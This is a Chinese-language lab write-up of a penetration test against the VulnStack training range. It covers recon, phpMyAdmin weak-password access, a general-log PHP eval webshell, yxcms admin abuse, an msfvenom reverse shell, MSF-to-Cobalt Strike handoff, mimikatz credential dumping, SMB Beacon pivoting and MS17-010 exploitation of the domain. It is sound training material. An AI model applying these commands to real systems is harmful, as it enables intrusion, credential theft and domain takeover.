VulnStack靶场(一)
0x000环境搭建
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻击机kali:192.168.107.129
Win7:192.168.107.130
192.168.52.143
Win Server 2003:192.168.52.141
Win Server 2008:192.168.52.138
拓扑图如下:

0x001信息收集
nmap扫描
nmap -p 1-65535 -Pn -sC 192.168.107.130 //-Pn 不进行ping -sC使用默认类别的脚本进行扫描

发现开了80和3306端口
访问为phpStudy的探针页面

dirsearch

发现phpMyadmin和一个beifen.rar

是一个yxcms

由于前面扫出了phpMyadmin且是phpStudy搭建的,可能存在默认密码为root/root,所以先放下这个站点去尝试phpMyadmin
0x002漏洞利用
一、phpMyadmin
通过弱口令root/root进入后台
select @@basedir; //查询路径

show global variables like '%secure%'; //查看secure*值

此处secure_file_priv为NULL,所以我们不能通过into outfile来getshell
利用日志getshell
show global variables like '%general%'; //查看general*值

为OFF,(ps:此处路径可记下用于到时候getshell后还原)
set global general_log=on; //开启日志
set global general_log_file='C:\\phpstudy\\www\\indexx.php'; //设置日志存放文件,注意是‘\\’,也可用‘/’
select '<?php eval($_POST["H"]);?>' //执行语句,会写入我们设置的indexx.php中
蚁剑连接

二、yxcms
信息泄露
在beifen.rar中找到后台地址/index.php?r=admin和账号密码admin/123456

后台getshell
登录后台,漏洞位置在:前台模板——管理模板文件——新增

在beifen.rar中找到网站模板路径,蚁剑连接

后台getshell(二)
漏洞位置在:sql执行

方法和利用日志getshell一样
0x003后渗透
一、信息收集
本机信息收集
whoami | whoami/all ////查询账号权限 | sid值
ifconfig /all //查询网络、网卡相关信息
hostname //系统的主机名称
systeaminfo //查询系统信息,补丁安装情况
net user //查看用户
tasklist | tasklist /svc //查看进程
arp -a //列出本网段内所有活跃的IP地址
route print //打印路由表
...

查看进程,查看杀软存在与否

域内信息收集
net view /domain //查询有几个域, 查询域列表
net time /domain //使计算机的时钟与另一台计算机或域的时间同步。
net config workstation //显示工作站运行的相关信息
net group /domain //获得所有域用户组列表
net user /domain //获得所有域用户列表
nslookup xxx
...

如果工作站域(Workstation domain)为workgroup则代表不存在域环境,若是报错:发生系统错误 5,则存在域,但该用户不是域用户,其中登录域(Logon domain) 表明当前登录的用户是域用户
由图得知,此处域为GOD且当前登录用户为域用户
二、MSF与CS联动
MSF或CS生成一个木马(目标无杀软,故不用作免杀),此处我选择MSF
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=6666 -f exe > ./csrsss.exe

接受到会话

派生给CS
CS新建一个新监听

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.107.129 //CS的ip地址
set lport 33060 //CS的监听端口
set session 1 //meterpreter的会话
set DisablePayloadHandler true //MSF默认本地生成一个新监听,true告诉MSF我们已经有会监听话了
run 或者 exploit

cs接收到会话

Bypass UAC
getsystem

利用CS的mimikatz
logonpasswords抓取密码

使用CS自带模块或者使用Ladon

Ladon 192.168.52.0/24 OnlinePC //多协议探测存活主机 (IP、机器名、MAC地址、制造商)
Ladon 192.168.52.0/24 PortScan //扫描C段端口
Ladon 192.168.52.0/24 OSscan //多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
...
更多关于Ladon用法参考:http://k8gege.org/Ladon/

结合前面可知192.168.52.138为DC,192.168.52.141为域内主机


两台都开了445端口
SMB Beacon
简介:SMB Beacon 使用命名管道通过父 Beacon 进行通信。这种点对点通信与同一主机上的信标一起工作。它也适用于整个网络。Windows 将命名管道通信封装在SMB 协议中。因此,名称,SMB Beacon
SMB beacon的工作流程:

使用条件
1、带有 SMB Beacon 的主机必须接受端口 445上的连接。
2、您只能链接由同一个 Cobalt Strike实例管理的信标。
创建一个SMB listener

在主会话上右键选Spawn 选择刚刚创建的监听生成一个SMB会话


选择刚刚生成的SMB监听和SMB会话

再用相同方法得到域控DC

Token 窃取



三、MS17_010
添加路由、设置socks代理
route add 192.168.52.0/24 1 //设置路由
route print //打印路由
use auxiliary/server/socks_proxy
set VERSION 4a //这里我选4a
set SRVPORT 9999 //设置端口
run

HOST默认为0.0.0.0,设置/etc/proxychains.conf的与这里一致
curl测试一下,成功

使用ms17_010模块
use exploit/windows/smb/ms17_010_psexec
set rhost 192.168.52.141 //目标ip
set lhost 192.168.107.129 //监听ip
set lport xxxx //默认4444
set payload windows/meterpreter/bind_tcp //使用正向连接
run


收到会话
总结:由于本环境其是用域管理员账号登录的,导致我们抓取到了域管理员账号密码,还有win7(192.168.52.143)应该是直接访问不了域控win2008 192.168.52.138的,应该是限制没做好,使得我们能很快的就拿下了域控DC。MSF里面的ms17_010模块在使用中会存在很多因素影响,例如:网络、msf模块、环境等等。

本文详细记录了一次针对VulnStack靶场的渗透测试过程,包括环境搭建、信息收集、漏洞利用、后渗透阶段的系统信息收集以及MSF与CS的联合使用。通过弱口令进入phpMyadmin,利用日志getshell,以及在yxcms中发现的漏洞,成功获取了系统的控制权。随后通过MSF的ms17_010模块进行横向移动,最终实现了域控的接管。文章强调了信息收集的重要性以及在实际渗透测试中的策略和技巧。

6370

被折叠的 条评论
为什么被折叠?



